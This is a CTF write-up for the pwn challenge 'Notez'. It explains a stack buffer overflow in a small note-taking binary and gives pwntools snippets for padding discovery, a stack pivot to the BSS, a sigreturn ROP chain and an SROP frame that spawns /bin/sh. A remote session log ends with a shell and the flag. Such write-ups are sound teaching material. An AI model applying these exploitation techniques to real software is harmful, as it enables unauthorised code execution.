Notez - Pwn Challenge Writeup

Challenge Overview

- **Category**: Pwn
- **Synopsis**: This is a stack-based buffer overflow challenge in a note-taking app that segfaults due to improper input handling. The binary reads user input into a global buffer, copies it to a small stack buffer via `memcpy` without bounds checking, and prints it back. This allows overflowing the stack to control the saved RBP and return address. The lack of a stack canary and PIE allows for good ROP opportunities. The exploit involves overwriting the return address to loop back for a second read into a writable global area (The `BSS`), setting up a short ROP chain to trigger a sigreturn syscall, and then using SROP (Sigreturn Oriented Programming) to pivot to an `execve("/bin/sh")` syscall for a shell.
- **Written by**: **Spinel99** of **TroJeun**
- **Notes**: The first/original binary had stdout buffering messed up, which made the binary not print anything, which effectively made the stack leak useless, but this solution didn't need/use that leak anyway, so it worked on both the original, messed up version and fixed, updated one.
- **Binary Details**:
    - Type: 64-bit ELF, not stripped, with debug info for easy reversing:

```
notez: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=5e381a502e2b1106428201774fc4cb24cbff7b2b, for GNU/Linux
3.2.0, with debug_info, not stripped
```

- Mitigations: No canary or PIE, but NX prevents executable stack. Partial RELRO allows GOT overwrites if needed (though not used here).

```
pwndbg> checksec
File:       /home/kali/CTFs/Events/QnQ-2025/pwn/notez/notez
Arch:       amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes
```

Static Analysis (Decompiling)

The binary is a simple note-taking app. Decompiling with tools like Ghidra or IDA reveals the core logic in `main()`. Here's the decompiled `main()` function after some name and type improvements:

```
int __fastcall main(int argc, const char **argv, const char **envp){
  char dest[28]; // [rsp+0h] [rbp-20h] BYREF
  int size; // [rsp+1Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  size = 48;
  fwrite("=== Welcome To QnQSec's Note Taking App ===", 1uLL, 0x2BuLL,
stdout);
  fputc(10, stdout);
  fprintf(stdout, "Here's a quick walkthrough: %p\n", &size);
  read(0, buf, size);
  memcpy(dest, buf, size);
  fprintf(stdout, "Here are your notez: %s\n", dest);
  return 0;
}
```

Stack Layout

We can Check the stack layout of local variables in IDA:

```
-0000000000000020     char dest[28];
-0000000000000004     _DWORD size;
+0000000000000000     _QWORD __saved_RBP;
+0000000000000008     _UNKNOWN *__return_address;
```

Vulnerabilities

1. **Stack Buffer Overflow via `memcpy`**: Copies 48 bytes into a 28-byte stack buffer, allowing 20-byte overflow. This is enough to overwrite saved RBP and the return address. Since no canary, we can directly hijack control flow.
2. **Lack of Stack Canary**: Allows for easy overwriting of RBP and the return address, as no leaks are needed.
3. **Fixed Read Size**: Initial read is 48 bytes, but by overwriting return address to loop back to the `read` instruction, we can perform a second read with a larger size by controlling `DWORD PTR [rbp - 0x04]` (The `size` variable) via overflow.

Exploitation Strategy

1. **Getting Padding Length**:
    - We can inject the full 48 bytes of `size` into the program and see where it crashes, to get exactly the return offset; can automate it using:

```
payload = pwn.cyclic(48, n=8)
```

    - Find the offset using `pwn.cyclic_find`:

```
PADDING_LEN = cyclic_find(0x6161616161616166, n=8)  # Actually equals
40
```

    - We see that the return address starts at offset 40 of the payload, so we only have `48 - 40 = 8` writable bytes, exactly enough for only the return address, and no further ROP chains, we need to increase that window of overflow if we wanted larger and more complex/useful ROP chains.
2. **Getting to Second read and stack pivot**:
    - We overwrite return address with the `read` in the main program, which allows us to read again into buffer, this time a much bigger amount, because we stack pivoted using the overwritten RBP value in step 1.
3. **Proper Payload for SROP**:
    - We create the appropriate payload for an SROP; by first injecting `b'/bin/sh'` into memory in a predicted address and calculating it using GDB
    - Forge the ROP chain that leads to the `syscall 15` later.

```
# stores b'/bin/sh' and sets up first rop chain
payload = b'/bin/sh\x00'
payload += p64(0) * 3               # padding
payload += p64(0x200)               # set size for future memcpy
payload += p64(rop.rax.address)
payload += p64(0x0F)                # set RAX = 0x0F for sigreturn syscall
payload += p64(rop.syscall.address) # jump to syscall
```

- Use `pwntools`'s predefined struct for SROP `SigreturnFrame` to setup the correct frame that allows for `execve(b'/bin/sh')`.

```
# Allows us to return to execve("/bin/sh")
frame = SigreturnFrame()
frame.rax = 0x3b                # execve syscall number
frame.rdi = bin_sh_addr         # address of /bin/sh string
frame.rip = rop.syscall.address # jumping to syscall gadget
frame.rdx = 0                   # set argv to NULL
frame.rsi = 0                   # set envp to NULL

payload += bytes(frame)
```

Solve Script

You can find the full solve script here; Only difference with solve script of old, unfixed binary is static addresses.

Proof of Concept

Here's how the solve would look like:

```
┌──(kali㉿kali)-[~/…/Events/QnQ-2025/pwn/notez]
└─$ ./exploit.py REMOTE
[+] Opening connection to 161.97.155.116 on port 14337: Done
[*] Loaded 7 cached gadgets for '/home/kali/CTFs/Events/QnQ-
2025/pwn/notez/notez'
/bin/sh: 0x404074
Generating sigreturnFrame of size 0xf8...
[*] Switching to interactive mode
...
Here are your notez: /bin/sh
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ cat flag.txt
QnQSec{s0rry_4b0ut_th3_cr45h3z_w3_w1ll_r3p0r7_2_t3ch_5upp0r7_4nd_f1r3_th3_4
pp_4uth0r}
$
[*] Interrupted
[*] Closed connection to 161.97.155.116 port 14337
```

Final Notes

This challenge was easy to solve, but its difficulty came from handling the server's bad state, and not printing anything, this can throw off some people, as it did to me at first; if not for the hint from `abd0ghazy`, a player in the `0xL4ugh - Free Palestine` CTF team; saying he "solved the chall as is, even though it doesn't print anything"; note that our convo was in plain sight of everyone, and happened in pwn channel of discord server, and he only specified that the connection is working, i.e. asking input but not printing output

People who got hit the most by this buffering misconfiguration are probably those who used the stack leak, a bad strategy in my humble opinion, as the stack is always moving and unstable, while the `BSS` in a non-PIE binary is fixed (`0x404000` to `0x405000`); that's a free 0x1000 byte of `RW` space which we are free to use and doesn't require a leak lol.

After the authors fixed the binary, I guess the chall can be considered easy-medium.

Shoutout to the others for their great pwn challs, truly good stuff, even with bad infra, I enjoyed the pwn side of this CTF, may next year be better Inshallah.